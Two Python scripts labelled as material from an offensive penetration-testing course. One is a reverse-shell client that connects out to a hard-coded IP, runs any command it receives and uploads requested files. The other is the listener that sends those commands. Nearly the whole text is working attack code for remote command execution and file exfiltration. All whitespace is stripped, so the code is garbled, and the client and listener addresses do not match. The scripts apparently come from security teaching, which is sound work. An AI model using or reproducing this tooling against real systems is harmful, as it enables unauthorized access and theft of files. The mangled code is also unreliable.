# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2importsocketimportsubprocessimportosdeftransfer(s,path):ifos.path.exists(path):f=open(path,'rb')packet=f.read(1024)whilepacket:s.send(packet)packet=f.read(1024)s.send('DONE'.encode())f.close()else:s.send('Unable to find out the file'.encode())defconnect():s=socket.socket()s.connect(('192.168.0.152',8080))whileTrue:command=s.recv(1024)if'terminate'incommand.decode():s.close()breakelif'grab'incommand.decode():grab,path=command.decode().split('*')try:transfer(s,path)exceptExceptionase:s.send(str(e).encode())passelif'cd'incommand.decode():code,directory=command.decode().split('*')# the syntax here is gonna be cd*directorytry:os.chdir(directory)# changing the directory s.send(('[+] CWD is '+os.getcwd()).encode())# we send back a string mentioning the new CWD Current working directoryexceptExceptionase:s.send(('[-] '+str(e)).encode())else:CMD=subprocess.Popen(command.decode(),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)s.send(CMD.stdout.read())s.send(CMD.stderr.read())defmain():connect()main()
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2importsocketdefconnect():s=socket.socket()s.bind(("10.0.2.15",1234))s.listen(1)# define the backlog size for the Queue, I made it 1 as we are expecting a single connection from a singleconn,addr=s.accept()# accept() function will retuen the connection object ID (conn) and will return the client(target) IP address and source port in a tuple format (IP,port)print('[+] We got a connection from',addr)whileTrue:command=input("Shell> ")if'terminate'incommand:# If we got terminate command, inform the client and close the connect and break the loopconn.send('terminate'.encode())conn.close()breakelif''incommand:# If the user just click enter, we will send a whoami commandconn.send('whoami'.encode())print(conn.recv(1024).decode())else:conn.send(command.encode())# Otherwise we will send the command to the targetprint(conn.recv(1024).decode())# print the result that we got backdefmain():connect()main()